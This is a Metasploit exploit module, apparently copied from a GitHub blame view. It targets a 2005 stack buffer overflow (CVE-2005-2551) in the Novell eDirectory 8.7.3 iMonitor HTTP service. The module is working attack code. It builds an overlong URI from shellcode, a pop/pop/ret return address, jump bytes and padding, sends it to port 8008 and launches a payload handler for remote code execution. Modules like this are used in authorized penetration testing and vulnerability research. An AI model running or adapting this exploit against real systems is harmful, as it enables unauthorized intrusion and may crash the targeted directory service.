metasploit-framework/modules/exploits/windows/http/edirectory_imonitor.rb

75 lines
2.1 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
2013-08-30 21:28:54 +00:00
HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in eDirectory 8.7.3
iMonitor service. This vulnerability was discovered by Peter
Winter-Smith of NGSSoftware.
2013-08-30 21:28:54 +00:00
NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
not restart automatically in a default installation.
},
'Author' => [ 'Unknown', 'Matt Olney <scacynwrig[at]yahoo.com>' ],
'License' => BSD_LICENSE,
'References' =>
[
[ 'CVE', '2005-2551'],
[ 'OSVDB', '18703'],
[ 'BID', '14548'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 4150,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
],
'DisclosureDate' => 'Aug 11 2005',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options(
[
Opt::RPORT(8008)
], self.class)
end
2013-08-30 21:28:54 +00:00
def exploit
c = connect
2013-08-30 21:28:54 +00:00
# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
uri << "\xe9\xbd\xef\xff\xff"
uri << "B" * 0xD0
2013-08-30 21:28:54 +00:00
res = c.send_request(c.request_raw({ 'uri' => uri }))
select(nil,nil,nil,4)
2013-08-30 21:28:54 +00:00
handler
disconnect
end
end